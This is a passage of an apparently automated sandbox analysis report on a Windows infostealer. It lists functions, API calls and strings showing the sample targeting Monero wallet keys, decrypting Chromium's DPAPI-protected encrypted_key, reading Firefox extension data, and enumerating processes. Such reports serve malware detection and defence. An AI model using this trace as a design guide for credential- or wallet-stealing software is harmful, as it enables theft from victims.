Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 001EA3FF
lstrlen.KERNEL32(00000000), ref: 001EA6BC

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

DeleteFileA.KERNEL32(00000000), ref: 001EA743

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fed0a41aa40f0a6385badaa37d4a2d9599385a865d8671dc29f5bb6dea54f218
Instruction ID: a3e6eb844980fce13daf5ab94e299e509fc000f64b868afa77cf790f67af570c
Opcode Fuzzy Hash: fed0a41aa40f0a6385badaa37d4a2d9599385a865d8671dc29f5bb6dea54f218
Instruction Fuzzy Hash: BCE1F5B291010C9BDB14FBA4DC91EFE7338AF24341F908169F61A72091EF746A5DCB66

Function 001ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,01439C98,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001ED801
lstrlen.KERNEL32(00000000), ref: 001ED99F
lstrlen.KERNEL32(00000000), ref: 001ED9B3
DeleteFileA.KERNEL32(00000000), ref: 001EDA32

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ec1b926663ddc2abf7c6da8c4a1d90826f50f1454b363924aa95953119afe7d7
Instruction ID: 94be1265893fbb4bda56e8947744b978e70105009bcae5751472b85a5592fb84
Opcode Fuzzy Hash: ec1b926663ddc2abf7c6da8c4a1d90826f50f1454b363924aa95953119afe7d7
Instruction Fuzzy Hash: 978104B191010C9BDB14FBA4DC95DFE7338BF64341F904528F60AA6091EF786A19CBA6

Function 001EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00201580,00200D92), ref: 001EF54C
lstrlen.KERNEL32(00000000), ref: 001EF56B

Strings

^userContextId=4294967295, xrefs: 001EF59C
moz-extension+++, xrefs: 001EF5AD

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 8bd9941a52f7085619a6e53c180c967ca6c9034ab154341f5eba4a842910f5e6
Instruction ID: 5acd14e7faef2ab4481f45bc880ff2256196e1d10ae0b84a33afeec364cc2558
Opcode Fuzzy Hash: 8bd9941a52f7085619a6e53c180c967ca6c9034ab154341f5eba4a842910f5e6
Instruction Fuzzy Hash: 215115B1D1010CABDB04FBA0DC56DFD7778AF64340F808528F91A67195EF786A19CBA2

Function 001E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001E9D39

Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9AEF
Part of subcall function 001E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001E4EEE,00000000,?), ref: 001E9B01
Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9B2A
Part of subcall function 001E9AC0: LocalFree.KERNEL32(?,?,?,?,001E4EEE,00000000,?), ref: 001E9B3F

Part of subcall function 001E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001E9B84
Part of subcall function 001E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 001E9BA3
Part of subcall function 001E9B60: LocalFree.KERNEL32(?), ref: 001E9BD3

Strings

"encrypted_key":", xrefs: 001E9D30
, xrefs: 001E9DC1
DPAPI, xrefs: 001E9D89

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 63954c59be0c7449d232654827c8c88a78149ce1389b1248789d5afef41f38d0
Instruction ID: 90c22299dbaf21a1d5573e77a958d315b3cdb6f5e25902bc834c7a6653609ee7
Opcode Fuzzy Hash: 63954c59be0c7449d232654827c8c88a78149ce1389b1248789d5afef41f38d0
Instruction Fuzzy Hash: 36313EB6D10219ABCF04DBE5DC85AEEB7B8BF58304F544518FA05A7241EB349A14CBA1

Function 001F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002005B7), ref: 001F86CA
Process32First.KERNEL32(?,00000128), ref: 001F86DE
Process32Next.KERNEL32(?,00000128), ref: 001F86F3

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

CloseHandle.KERNEL32(?), ref: 001F8761

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: e50b5b9d179302f2c23cb58bbcdaba5022b5fbf3a509f19d1d7803b211316d55
Instruction ID: 46973cfc1eb2140f7b7aa320ae7d9c4fc302febe0face9af9602bd6319814ed5
Opcode Fuzzy Hash: e50b5b9d179302f2c23cb58bbcdaba5022b5fbf3a509f19d1d7803b211316d55
Instruction Fuzzy Hash: BD318CB190121CABCB24EB50CC41FEEB778EF55700F9042A9A60EA21A0DB746A45CFA1

Function 001F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014388C0,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001F6AE8
CloseHandle.KERNEL32(00000000), ref: 001F6AF9
Sleep.KERNEL32(00001770), ref: 001F6B04
CloseHandle.KERNEL32(?,00000000,?,014388C0,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6B1A
ExitProcess.KERNEL32 ref: 001F6B22

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9710545475b5c1e871eb41b95ebdbe2cd34c11e1ad9acd0b26be18d6e56e3c60
Instruction ID: 20803c32bb8891c574c9a60898b5657041fd4a81e5e35d1582b1ae8ae223a4e8
Opcode Fuzzy Hash: 9710545475b5c1e871eb41b95ebdbe2cd34c11e1ad9acd0b26be18d6e56e3c60
Instruction Fuzzy Hash: B0F03A70A4020DABE710ABA09C1ABBD7A34EF14701F504924BB06A21C1CBB05541D69A

Function 001E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Strings

<, xrefs: 001E47C9

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d88a8d11bd4557e5ab79f26711f4b8993c709fd95073eee63ba7b9927be74c7d
Instruction ID: 6d557ee9e5f1886f5c53c5045678ea064817180bacdf6ebf57ddcdbceb7dc9ec
Opcode Fuzzy Hash: d88a8d11bd4557e5ab79f26711f4b8993c709fd95073eee63ba7b9927be74c7d
